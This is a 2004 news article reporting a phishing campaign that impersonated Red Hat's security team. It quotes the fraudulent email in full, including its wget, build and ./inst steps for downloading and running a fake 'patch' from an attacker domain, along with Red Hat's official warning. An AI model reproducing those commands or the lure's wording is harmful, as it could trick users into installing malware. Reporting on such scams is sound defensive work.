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New Phishing Expedition Targets Red Hat/Fedora Users

Oct 25, 2004, 02:30 (4 Talkback[s])
(Other stories by Brian Proffitt)

By Brian Proffitt
Managing Editor

It's not often that someone tries launching a trojan attack on Linux users, but earlier this weekend it appears that someone was trying to do just that to Red Hat and Fedora Core users.

An e-mail message was sent to several Red Hat users over the weekend, claiming to be from the RedHat [sic] Security Team. The note warned recipients to download and install a patch for fileutils-1.0.6, indicating that a vulnerability "could allow a remote attacker to execute arbitrary code with root privileges."

The note was seen in the wild earlier this weekend, but it is still being delivered. This reporter received the message as late as 6:55 PM EDT today. The message arrived five times, and were all delivered to my work account, which is not the account I use to register products.

The content of the note, complete with Red Hat logo, tries to tell a good tale, as seen below, but the spelling errors and the improper From address are clues of the note's false nature.

"Original issue date: October 20, 2004

"Last revised: October 20, 2004

"Source: RedHat

"A complete revision history is at the end of this file.

"Dear RedHat user,

"Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges. Some of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that *BSD and Solaris platforms are NOT affected.

"The RedHat Security Team strongly advises you to immediately apply the fileutils-1.0.6 patch. This is a critical-critical update that you must make by following these steps:

  • "First download the patch from the Security RedHat mirror: wget www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz
  • Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
  • cd fileutils-1.0.6.patch
  • make
  • ./inst

"Again, please apply this patch as soon as possible or you risk your system and others` to be compromised.

"Thank you for your prompt attention to this serious matter,

RedHat Security Team..."

The domain fedora-redhat.com is part of a netblock owned by Yahoo, according to Netcraft.com. It is not an official Red Hat site.

The security team at Red Hat has already noted the existence of the fake warning, and has posted this message, dated October 23, at http://www.redhat.com/security/:

"Red Hat has been made aware that emails are circulating that pretend to come from the Red Hat Security Team. These emails tell users to download and run an update from a users home directory. This fake update appears to contain malicious code. Official messages from the Red Hat security team are never sent unsolicited, are always sent from the address secalert@redhat.com, and are digitally signed by GPG. All official updates for Red Hat products are digitally signed and should not be installed unless they are correctly signed and the signature is verified..."

Red Hat and Fedora Core users are urged not to download or install the software highlighted in this ficticious message.

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